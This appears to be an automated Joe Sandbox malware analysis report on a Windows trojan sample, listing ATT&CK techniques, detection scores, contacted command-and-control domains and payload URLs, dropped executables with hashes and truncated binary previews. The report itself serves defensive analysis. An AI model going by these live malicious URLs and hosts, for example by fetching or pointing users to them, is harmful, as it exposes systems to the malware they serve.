Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	22 Software Packing	NTDS	331 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	124 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	312 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Rundll32	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	34%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\dfhwrav	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ADCA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5AF.exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.3.file.exe.2080000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.dfhwrav.6d0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.5AF.exe.23be12c.2.unpack	100%	Avira	TR/Patched.Ren.Gen7	Download File
0.2.file.exe.2070e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.file.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.dfhwrav.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.3.dfhwrav.2080000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.5AF.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.5AF.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
thepokeway.nl	5%	Virustotal		Browse
dowe.at	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://piratia.su/tmp/	100%	URL Reputation	malware
http://piratia.su/tmp/	100%	URL Reputation	malware
https://thepokeway.nl/upload/index.php	0%	URL Reputation	safe
http://cracker.biz/tmp/	0%	URL Reputation	safe
http://cracker.biz/tmp/	0%	URL Reputation	safe
http://123.253.32.170/root2.exe	0%	URL Reputation	safe
http://newhorizonswv.com/tmp/	1%	Virustotal		Browse
http://xisac.com/tmp/	1%	Virustotal		Browse
http://dowe.at/tmp/	0%	Avira URL Cloud	safe
http://xisac.com/tmp/	0%	Avira URL Cloud	safe
http://newhorizonswv.com/tmp/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
thepokeway.nl	5.135.247.111	true	true	5%, Virustotal, Browse	unknown
dowe.at	200.46.66.71	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://piratia.su/tmp/	true	URL Reputation: malware URL Reputation: malware	unknown
http://newhorizonswv.com/tmp/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://thepokeway.nl/upload/index.php	false	URL Reputation: safe	unknown
http://cracker.biz/tmp/	true	URL Reputation: safe URL Reputation: safe	unknown
http://123.253.32.170/root2.exe	true	URL Reputation: safe	unknown
http://piratia-life.ru/tmp/	false		high
http://dowe.at/tmp/	true	Avira URL Cloud: safe	unknown
http://xisac.com/tmp/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000001.00000000.338958128.0000000008442000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.291794851.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.322078451.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.303824435.0000000008442000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.269421946.0000000008442000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.258393076.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
5.135.247.111	thepokeway.nl	France	16276	OVHFR	true
201.124.230.1	unknown	Mexico	8151	UninetSAdeCVMX	false
123.253.32.170	unknown	Malaysia	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	true
211.59.14.90	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
200.46.66.71	dowe.at	Panama	18809	CableOndaPA	true
187.212.179.75	unknown	Mexico	8151	UninetSAdeCVMX	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756294
Start date and time:	2022-11-30 00:09:06 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@13/9@36/7
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 22.1% (good quality ratio 11.6%) Quality average: 30.8% Quality standard deviation: 33.9%
HCA Information:	Successful, ratio: 67% Number of executed functions: 50 Number of non-executed functions: 29
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, WerFault.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, watson.telemetry.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:10:59	Task Scheduler	Run new task: Firefox Default Browser Agent F98CC62F1FC24C40 path: C:\Users\user\AppData\Roaming\dfhwrav
00:12:07	API Interceptor	1x Sleep call for process: 5AF.exe modified
00:12:20	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
5.135.247.111	NcuBv4VKxA.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	WzXOP3xtNo.exe	Get hash	malicious	Browse
	Ku34GMOW3K.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
thepokeway.nl	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	WzXOP3xtNo.exe	Get hash	malicious	Browse	5.135.247.111
	Ku34GMOW3K.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UninetSAdeCVMX	robinbot	Get hash	malicious	Browse	187.192.10.153
	robinbot	Get hash	malicious	Browse	187.192.10.153
	taxonomy.dll.dll	Get hash	malicious	Browse	189.255.203.220
	taxonomy.dll.dll	Get hash	malicious	Browse	189.255.203.220
	GyKpRhKQY1.elf	Get hash	malicious	Browse	189.162.82.20
	7HuJu44thW.elf	Get hash	malicious	Browse	201.152.236.63
	abutmentAnemone.jpg.dll	Get hash	malicious	Browse	187.199.224.16
	abutmentAnemone.jpg.dll	Get hash	malicious	Browse	187.199.224.16
	file.exe	Get hash	malicious	Browse	201.124.230.1
	DZ-568.img	Get hash	malicious	Browse	187.199.224.16
	EZ-465.img	Get hash	malicious	Browse	187.199.224.16
	file.exe	Get hash	malicious	Browse	187.232.182.23
	sora.arm.elf	Get hash	malicious	Browse	189.255.142.21
	sora.arm.elf	Get hash	malicious	Browse	189.238.52.152
	file.exe	Get hash	malicious	Browse	187.212.179.75
	test1.dll	Get hash	malicious	Browse	187.199.224.16
	test1.dll	Get hash	malicious	Browse	187.199.224.16
	file.exe	Get hash	malicious	Browse	201.124.230.1
	Mddos.arm7.elf	Get hash	malicious	Browse	148.212.115.106
	Mddos.x86.elf	Get hash	malicious	Browse	187.142.69.168
OVHFR	Receipt Order No. 20803415.pif.exe	Get hash	malicious	Browse	91.121.228.166
	http://big55555.com	Get hash	malicious	Browse	54.36.0.53
	NcuBv4VKxA.exe	Get hash	malicious	Browse	5.135.247.111
	Remittance.html	Get hash	malicious	Browse	51.210.156.152
	NHYGUnNN.exe	Get hash	malicious	Browse	54.38.220.85
	PDF.shtml	Get hash	malicious	Browse	146.59.209.152
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	51.195.62.160
	DHJ59300948.xls	Get hash	malicious	Browse	188.165.213.20
	Wzf4gWTOC2.exe	Get hash	malicious	Browse	188.165.213.20
	35JTigDQD0.elf	Get hash	malicious	Browse	149.56.12.10
	https://ipfs.io/ipfs/QmZscYPiZiEyUufsiTp73rjGySUVKx6mbYrEnns9n7DNVh?filename=ownredirectautoweb.html#news@pitchfork.com	Get hash	malicious	Browse	51.89.9.254
	https://paper.li/lnMHi8ZFENoxtKejQDZMh/story/document-confidential-m8ZkThqLiTXweW3JUxcg2	Get hash	malicious	Browse	37.187.86.201
	8kH56VSq58.elf	Get hash	malicious	Browse	192.99.71.226
	file.exe	Get hash	malicious	Browse	5.135.247.111
	BL-NO-OOLU2136901180.vbs	Get hash	malicious	Browse	213.186.33.5
	Services_Jingce_Quotation28112022.exe	Get hash	malicious	Browse	149.56.23.213
	file.exe	Get hash	malicious	Browse	5.135.247.111
	justificante de transferencia.vbe	Get hash	malicious	Browse	164.132.238.203
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	RFQ_SFOETH12.js	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	Shipping-Documents.js	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	Rfq#Specification.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	Ku34GMOW3K.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_c7d966c262eae458e8625727f886cf5c34890_82810a17_123adcc3\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.946006514417489
Encrypted:	false
SSDEEP:	192:cfiw0oXVHqqBIKjed+Mb/u7s9S274ItWc:UimXFqqBIKjet/u7s9X4ItWc
MD5:	D7A37DE7937004741090755840C56D79
SHA1:	08CE77055D65D3FB07F4642E33D2F2FE9FA7F068
SHA-256:	E9915E6CFE487068FD5A96B376F5EE8D9DAAE0D1E992844CF29320ED14B2E658
SHA-512:	57B5F8721B439B74F09FA5700C08ACE11645FE3D0342F8FEC4D13350A6C1F7971E92B369FF069AA3D6CDE41CDE4039F46A7C5B3088E92CEBF312EDB776A268AA
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.4.2.6.9.5.2.8.0.7.9.9.5.6.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.4.2.6.9.5.3.7.8.7.6.8.1.1.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.4.e.6.e.d.c.e.-.2.6.8.1.-.4.f.d.2.-.9.a.6.a.-.7.2.1.4.6.1.a.2.3.d.d.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.2.2.8.e.0.b.f.-.c.0.3.d.-.4.f.d.c.-.9.7.6.0.-.5.b.4.d.1.c.4.7.b.3.a.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.3.0.-.0.0.0.1.-.0.0.1.a.-.0.a.1.3.-.f.9.5.d.9.3.0.4.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3392.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Nov 30 08:12:12 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	46956
Entropy (8bit):	2.1379555772918506
Encrypted:	false
SSDEEP:	192:/WFLAtpZkO5SkbAR+TPZQfDx0+Kyrx+p9R6NnX:ikr5Lbw+T810+KyreW
MD5:	52C8A7752FFF58EDBB70514842507A1C
SHA1:	3EC49B493F90C8EFA19791C3B209ED0E12571597
SHA-256:	D764C68A2933F74A24F55FC5A5F2196F21F480B45050B2453DE8A4E3414AA7B5
SHA-512:	C5F9E6EF985783BD64DE5E8D710A5E3B8683F94B17E7FA26BA24FF212D59E29DAC1E91EF9B39E70424F1D60E378EBB16122C24E1E84864A4AF760F2C27AA393A
Malicious:	false
Reputation:	low
Preview:	MDMP....... .......\..c........................D................/..........T.......8...........T...........................................................................................................U...........B......d.......GenuineIntelW...........T.......0...8..c............................. ..1...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER497D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8300
Entropy (8bit):	3.685442373729347
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNibK6ha0ZD6Yqf6waEgmfTMSmDCprG89bxZdPsfezZFm:RrlsNiG6haID6YK6waEgmfTMSm8xz0f/
MD5:	42BF5C06FE5E8831D8CE69305340AD29
SHA1:	C7520BAB8F0C88EFBC5978AD7935EC96D2302F64
SHA-256:	DB24A8015F5D0F08788DCF361FB862360309BF58424A46B40F171A6823F55AA0
SHA-512:	BEC099C7C3A11EEF2C57EB72CD63A7CBD54B5AE8360AAB0619BC6BAFB015958C74635D087D9E4AE18F04C1BD0ADE0AB700DF3D4425FF877497AE0CCD2EDD9C87
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.9.1.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5054.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4640
Entropy (8bit):	4.458377130044554
Encrypted:	false
SSDEEP:	48:cvIwSD8zsZJgtWI9GgWgc8sqYjf8fm8M4JCdsFIAaFok+q8/RgEAd4SrSed:uITfrtZgrsqYQJvIakE1MDWed
MD5:	D4368A447707DE8D83F7436078D8256F
SHA1:	FDF53267338C0952A6E2DD6068F84231CD8EEAA8
SHA-256:	2E04AD13C67C592A218330DD8EE0FAA5CE495AD4CA411ED5B137B7BBF20702EC
SHA-512:	6501494A3D39F7D44802703508A10357AA32211B8BBA3C7F93766372132C2F8B8637ACD60B756E18A9A35E53BB1DC2E48407E248589F57E5ED77E86C8868B9E5
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1802482" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Temp\5AF.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	478208
Entropy (8bit):	7.834422761413108
Encrypted:	false
SSDEEP:	6144:i+i6S2IYNFu4Ldu//tUVBcR3QQtZ2b6ptsDCsJnQAC+iVjQoFsLVCcde2Zq3mLW:q2IgEYKKq3QQWFCRX4ccdecU
MD5:	C81AB83835C2669DBE57C43DB54571B7
SHA1:	C06EE015340CBDFAA7AF2E820A8EE166179B09E2
SHA-256:	727AC1966886E3D083330FCDE19D79C445DE9FE2A0E306F9FEB94D28BE54F776
SHA-512:	4BA429D9A37D1A3B1C72029DB9D86E44B30DB40EB05CF8248CD6B7BC6CD332B25605B0A84CC6E63DA6F55191A0FA5D91B9C2610E2C30E232844C6AB37F0B0657
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.'.5.I.5.I.5.I....4.I.+...$.I.+...].I..]2.2.I.5.H.I.+.....I.+...4.I.+...4.I.Rich5.I.................PE..L...%..b.............................L....... ....@.................................8...........................................P....p..P0...........................................................,..@...............<............................text............................... ..`.data....D... ......................@....rsrc...P0...p...2..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ADCA.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3776000
Entropy (8bit):	7.994112157171111
Encrypted:	true
SSDEEP:	98304:CIPeMtJl37YfXo0/PrjRkwoD8sOr+616vbgD7op:CIPeMh37YfXZPvRkww3OrNEgo
MD5:	2479739C5D062ECB325147623241F007
SHA1:	4394B6D2CA4ED82A5F2D70D10CD05CFA3B35AB2C
SHA-256:	728DE9789AF5F2EBC9AC2FAC80FEE25B186BC5B3ACB960650934377F0C77726D
SHA-512:	1C5C4D7D7FD5A7F18FED87A0D66B95B26EBFDA33B4AA4F66FD8FD4432E07EBC6E6289A27FFCCC1CF99E659AEB80434E833BAA299AB140D82C0BCB7D863A58301
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.'.5.I.5.I.5.I....4.I.+...$.I.+...].I..]2.2.I.5.H.I.+.....I.+...4.I.+...4.I.Rich5.I.................PE..L......`......................<......L....... ....@.......................... O.......:.........................................P.....<.P0.................................................. -.......,..@...............<............................text............................... ..`.data.....;.. ...`8.................@....rsrc...PP....<..2...l9.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Serpodtudpwhhta.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\ADCA.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4494336
Entropy (8bit):	6.5734549407418505
Encrypted:	false
SSDEEP:	98304:2Ekp3AUUgGFofLw++PxAbc5rh5Ar/04TA4P:gp31UtFmLw95Abc5rh5Ar/NTA
MD5:	AA90603343B982D2D28D56CCE94C696E
SHA1:	8E1ED433C2958BDA927279C0D47C4C4B7C39290C
SHA-256:	07F50A84E6567DF42216C4F1C640AEAC436B19340CCCB82B21EFAB2E1F9F3FB1
SHA-512:	CEC1F4B745B0F2A54AF74C32E6F3631589D2795E1396FEB3E1C51198C16A985F871D915EC9F988F763A7774F96F76AA922D3BF9EF3195BD44443E633814A0B09
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c..................?.........X&?......0?...@..........................pE.......................................@......@@..9....E..d....................@.4A...................................................J@.......@......................text.....>.......>................. ..`.itext..t.....?.......>............. ..`.data.......0?.......?.............@....bss....Tg....?..........................idata...9...@@..:....?.............@....didata.......@.......?.............@....edata........@.......?.............@..@.rdata..D.....@.......?.............@..@.reloc..4A....@..B....?.............@..B.rsrc....d....E..d...0D.............@..@.............pE.......D.............@..@........................................................

C:\Users\user\AppData\Roaming\dfhwrav

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	149504
Entropy (8bit):	7.100027517135632
Encrypted:	false
SSDEEP:	3072:TD+CPq0Ubn6u2DUp5Gcw2FPOXDMMMMfq2SQw7Se1Ei4KY+NzfOFV:W0qln6u2I8q25wV4V+NzcV
MD5:	1CF06BEB83D2BD1AFD1B9B62994E7549
SHA1:	88BD7DA7668FB669B5503696EE0A9C0F2DBECEB7
SHA-256:	4DC0DE570728F75F844C7AFB84AC6C809EF4620DAC3B12A884FF9916F5B5B0EE
SHA-512:	79196551EDCB7850817C3132971D25423BD6861849E21926E03647B0D4EE76D3EE7CBE456C78D046167F196991E3D286C393A8ABC22E8218ED148BC90090FFD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.'.5.I.5.I.5.I....4.I.+...$.I.+...].I..]2.2.I.5.H.I.+.....I.+...4.I.+...4.I.Rich5.I.................PE..L.....5a.............................L....... ....@.................................#...........................................P....p..P0...........................................................,..@...............<............................text............................... ..`.data...hB... ......................@....rsrc...P0...p...2..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

